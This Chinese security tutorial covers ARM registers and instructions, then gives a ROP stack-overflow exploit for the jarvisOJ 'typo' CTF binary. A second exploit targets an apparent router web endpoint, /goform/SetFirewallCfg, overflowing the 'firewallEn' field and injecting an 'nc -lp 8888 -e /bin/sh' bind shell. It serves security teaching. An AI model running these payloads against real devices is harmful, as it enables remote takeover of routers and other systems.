•R0在常规操作中可用于存储临时值,也可以用于存储函数的第一个参数或返回结果
•在ARM架构中约定指定函数前四个参数存储在R0~R3寄存器中
•R7寄存器在函数调用中负责存储系统调用号
•R11寄存器即可以用来记录回溯信息,也可以当做局部变量来使用
•R13寄存器SP(堆栈指针)指向堆栈的顶部
•R14寄存器LR(链接寄存器)在进行函数调用时,LR寄存器内保存调用函数的下一条指令地址,用于被调用函数(子函数)结束工作后返回调用函数(父函数)
•R15寄存器PC(程序计数器)类似于X86架构下的EIP寄存器负责保存目标地址,与x86不同的点在于PC在ARM状态下存储当前指令+8的地址。
指令 | 功能 | 指令 | 功能 |
MOV | 移动数据 | EOR | 按位异或 |
MVN | 移动数据并取反 | LDR | 加载 |
ADD | 加法 | STR | 存储 |
SUB | 减法 | LDM | 加载多个 |
MUL | 乘法 | STM | 存储多个 |
LSL | 逻辑左移 | PUSH | 入栈 |
LSR | 逻辑右移 | POP | 出栈 |
ASR | 算术右移 | B | 跳转 |
ROR | 右旋 | BL | Link+跳转 |
CMP | 比较 | BX | 分支跳转 |
AND | 按位与 | BLX | Linx+分支跳转 |
ORR | 按位或 | SWI/SVC | 系统调用 |
https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/arm/jarvisOJ_typo/typo
[email protected]:~/AM$ checksec pwn
[*] '/home/amalll/AM/pwn'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
[email protected]:~/AM$ file pwn
pwn: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped
+-------------+
| "a" * 112 |
+-------------+
| pop_gadget | <- return address
+-------------+
| /bin/sh |
+-------------+
| 0 |
+-------------+
| system_addr |
+-------------+
思路确定后,接下来就是具体的实现步骤,首先是栈溢出的偏移是多少,这里我们可以使用QEMU配合gdb-multiarch来得到栈溢出的偏移,首先用qemu-user启动二进制程序
qemu-arm-static -g 1234 -L . ./pwn
0x00020904: pop {r0, r4, pc};
EXP
from pwn import *
p = process(['qemu-arm-static',"-L", "./", "./pwn"])
pop_r0_r4_pc = 0x00020904
system = 0x000110B4
sh = 0x006C384
payload = 'a'*112+p32(pop_r0_r4_pc)+p32(sh)+p32(0)+p32(system)
p.sendafter("Input ~ if you want to quit", "\n")
p.send(payload)
p.interactive()
与我们在ctf例题中所阐述的ROP构造思路相同,这里也是需要寻找能同时控制r0和pc两个寄存器的gadget,很幸运的是此次寻找的gadget并未以\x00结尾
凑齐所有的利用条件后,编写EXP对webserver服务进行栈溢出攻击
import requests
from pwn import *
url = 'http://192.168.2.1/goform/SetFirewallCfg'
libc = ELF("./lib/libc.so.0")
base = 0xff592000
system = base+libc.sym['system']
pop_r0_pc = base+0x0003db80 # pop {r0, pc};
stack = 0xfffef2c0
pl = 'a'*48+p32(pop_r0_pc)+p32(stack)+p32(system)
pl+= 'nc -lp 8888 -e /bin/sh;\x00'
data = {'firewallEn':pl}
requests.post(url, data=data)
五、参考链接
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/arm/rop/#_7
https://xuanxuanblingbling.github.io/ctf/pwn/2020/02/26/arm/
征集原创技术文章中,欢迎投递
投稿邮箱:[email protected]
文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关
通过审核并发布能收获200-800元不等的稿酬。